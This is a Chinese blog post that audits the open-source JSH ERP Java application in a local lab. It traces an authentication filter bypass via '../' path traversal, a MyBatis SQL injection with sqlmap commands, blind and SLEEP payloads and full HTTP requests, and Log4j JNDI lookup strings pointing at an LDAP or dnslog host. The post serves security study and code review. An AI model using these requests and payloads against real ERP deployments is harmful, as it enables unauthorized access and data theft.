环境搭建
参考知识星球文章华夏erp代码审计 , 下载源码 https://gitee.com/jishenghua/JSH_ERP
运行pom.xml
文件,这里需要设置maven地址并且更换为国内源,更新配置 。MAC环境下数据库名不能有特殊符号 , 数据库编码得用utf-8
mysql.server start # 启动MySQL
sudo mysql -uroot -pxxxx # 登录 ,别忘记修改代码的配置信息 jsherp\src\main\resources\application.properties
create database jshrep charset utf8; # 创建数据库导入 sql 文件
source xxx.sql # 导入数据库 搭建后账号为 jsh 密码 123456
漏洞复现
未授权登录
Filter 是 Servlet 中的过滤器 ,添加一个过滤器非常简单,只需要实现Filter接口,并添加@WebFilter注解即可:
未授权问题: 针对权限校验不足 , 因此这里需要了解下在 spring boot
中针对权限常用的一些过滤手段 , command+shift+f
全局搜索 @WebFilter
: 在 com.jsh.erp.fillter.LogCostFillder
:
其中代码解析如下:
/*
首先是@WebFilter注解属性:
urlPatterns 所有路由都经过这个 , 指定拦截的路径 ,默认就是这个
filterName Filter名称
initParams 配置参数
然后是 @WebInitParam 注解属性:该注解通常不单独使用,而是配合 @WebServlet 或者 @WebFilter 使用。它的作用是为 Servlet 或者过滤器指定初始化参数。
name 指定参数的名字
value 指定参数的值
*/
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
// 继承 Filter 接口 , 重写 过滤内容
public class LogCostFilter implements Filter {
// 定义了两个常量
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
// 定义了 ignoredList 列表 , 用于忽略的静态资源链接
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
// 重写了 Filter 中初始化的相关
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);
}
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
// 使用 JSESSIONID 进行验证,这里只有管理员一种权限账号,要是有多种权限账号就会导致越权漏洞
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止 简单说就是存在session 就可以访问任意路由了
chain.doFilter(request, response);
return;
}
// requestUrl.contains 当且仅当此字符串包含指定的字符值序列时返回true。
// 也就是说在请求URL包含 /doc.html /register.html /login.html 这三个的时候,可以直接通过验证
// 其中 doc.html 还是一个接口文档
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response); // 数据过滤函数
return;
}
// 根据过滤信息进行比对 , 使用正则匹配 静态资源后缀 不进行校验
// 那么这里就也会出现权限问题
// System.out.println(ignoredList); // [.css, .js, .jpg, .png, .gif, .ico]
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
// 这里 使用前缀过滤 ,导致问题同上
// /v2/api-docs /user/login /user/registerUser 这些在allowUrls的接口都存在这个问题
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}
@Override
public void destroy() {
}
}
在接口Filter
实现doFilter
方法的时候,由于采取的不谨慎的过滤方式,导致可以使用../
的方法使用白名单的方式通过过滤,导致了问题的存在:
GET /user/registerUser/../../log/list?search=%7B%22operation%22%3A%22%22%2C%22userId%22%3A%22%22%2C%22clientIp%22%3A%22%22%2C%22status%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22content%22%3A%22%22%7D¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.20.10.5:8080/pages/manage/log.html
Content-Length: 2
Mybates SQL 注入漏洞
方便追踪函数,我们安装插件
free-idea-mybatis
其中安装路径如下,
- Mac:
IntelliJ IDEA
->Preferences
->Plugins
;- Windows:
File
->Settings
->Plugins
.安装后可以点击箭头直接进入跟踪函数,省下自己一个个找的时间了
⌘ + ⇧ + F (Command + Shift + F)
从文件中搜索关键字 ${
这一没有进行预编译的,查询有没有纯变量输入导致的注入问题
FunctionMapperEx.xml 注入点:在xml文件中代码如下:这里面的name
和 type
参数都可以进行注入
...
<mapper namespace="com.jsh.erp.datasource.mappers.FunctionMapperEx"> <!--这里规定了命名空间-->
...
<select id="countsByFunction" resultType="java.lang.Long"> <!--这里规定了方法与返回类型-->
SELEC
COUNT(id)
FROM jsh_function
WHERE 1=1
<if test="name != null">
and name like '%${name}%'
</if>
<if test="type != null">
and type='${type}'
</if>
and ifnull(delete_flag,'0') !='1'
</select>
我们可以通过namespace来绑定到一个接口上,利用接口的特性,我们可以直接指明方法的行为,而实际实现则是由Mybatis来完成。
点击xml中的箭头(插件free-idea-mybatis
提供), 找到文件 FunctionMapperEx
:
package com.jsh.erp.datasource.mappers;
import com.jsh.erp.datasource.entities.Function;
import org.apache.ibatis.annotations.Param;
import java.util.Date;
import java.util.List;
public interface FunctionMapperEx { //接口
List<Function> selectByConditionFunction(
@Param("name") String name,
@Param("type") String type,
@Param("offset") Integer offset,
@Param("rows") Integer rows);
Long countsByFunction(
@Param("name") String name,
@Param("type") String type); // 这里对应了mybates 的返回类型 long
int batchDeleteFunctionByIds(@Param("updateTime") Date updateTime, @Param("updater") Long updater, @Param("ids") String ids[]);
}
之后我们command+空格
进入 FunctionService.java
中如下
...
private FunctionMapperEx functionMapperEx; // 使用
...
public Long countFunction(String name, String type)throws Exception {
Long result=null;
try{
result= functionMapperEx.countsByFunction(name, type); // 这里进行了引用
}catch(Exception e){
JshException.readFail(logger, e);
}
return result;
}
继续查找谁用了 countFunction
方法在 FunctionComponent.java
中
public class FunctionComponent implements ICommonQuery {
...
public Long counts(Map<String, String> map) throws Exception{
String search = map.get(Constants.SEARCH);
String name = StringUtil.getInfo(search, "name");
String type = StringUtil.getInfo(search, "type");
return functionService.countFunction(name, type);
}
}
进去 CommonQueryManager.java
中
public Long counts(String apiName, Map<String, String> parameterMap)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).counts(parameterMap);
// 也就是说需要让 getCommonQuery(apiName) 返回的是 FunctionComponent , 这个,才能正确进入 counts 方法
}
return BusinessConstants.DEFAULT_LIST_NULL_NUMBER;
}
最后定位到 JSH_ERP/src/main/java/com/jsh/erp/controller/ResourceController.java
@GetMapping(value = "/{apiName}/list") // 注解用于处理HTTP GET请求,并将请求映射到具体的处理方法中
public String getList(@PathVariable("apiName") String apiName, // 这里就是获取路径 变量为 apiName
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request)throws Exception {
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search); // 接收get中 search 参数接收的请求 存储入 parameterMa 中
PageQueryInfo queryInfo = new PageQueryInfo();
Map<String, Object> objectMap = new HashMap<String, Object>();
if (pageSize != null && pageSize <= 0) { // 确定搜索页面
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}
List<?> list = configResourceManager.select(apiName, parameterMap);
objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap)); // 在这里进行进入
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}
在知道流程后, 寻找路由
GET /role/list?search=%7B%22name%22%3A%22%22%7D¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.31.130:8080/pages/manage/role.html
Cookie: JSESSIONID=47E53DB242D673216CC09467CB6DF87F; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659839002; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1659960837
sqlmap命令如下:
python3 sqlmap.py -r /Users/songjidong/Desktop/sql.txt --dbs --level 5
payload 如下:
Parameter: search (name) (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search={"name":"' AND 8011=8011-- ROXn"}¤tPage=1&pageSize=15
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
Payload: search={"name":"' AND SLEEP(5)-- aAku"}¤tPage=1&pageSize=15
http请求构造注意search内容需要URL编码下:
GET /role/list?search=%7b%22%6e%61%6d%65%22%3a%22%27%20%41%4e%44%20%53%4c%45%45%50%28%35%29%2d%2d%20%61%41%6b%75%22%7d¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.31.130:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.31.130:8080/pages/manage/role.html
Cookie: JSESSIONID=47E53DB242D673216CC09467CB6DF87F; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659839002; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1659960837
在命令行可以看到最后拼接的命令如下:
# <if test="name != null"> 条件判断 name 不为空
# and name like '%${name}%'
reparing: SELECT COUNT(id) FROM jsh_role WHERE jsh_role.tenant_id = 63 AND 1 = 1 AND ifnull(delete_flag, '0') != '1' AND name LIKE '%' AND SLEEP(5)
代码扫描可以发现类似问题很多:需要的话可以逐一判断
Log4j 问题
Apache Log4j 2.x < =2.15.0-rc1
查看pom.xml
文件可知log4j版本存在问题:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-to-slf4j</artifactId>
<version>2.10.0</version>
<scope>compile</scope>
</dependency>
在Java中触发方式也比较简单:
public static void main(String[] args) throws Exception{
logger.log("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
我们直接寻找那里有可控的日志输入测试就行,需要知道在程序中那里使用了log4j
, 全局搜索关键字logger
,使用logger.info
, logger.error
, logger.log
上图中
# yfgmcq.dnslog.cn
${jndi:ldap://yfgmcq.dnslog.cn}
但是不知道为啥没触发DNS
- 版权声明: 本博客所有文章除特别声明外,均采用「 知识共享署名4.0 」创作共享协议,转载请注明作者及原网址。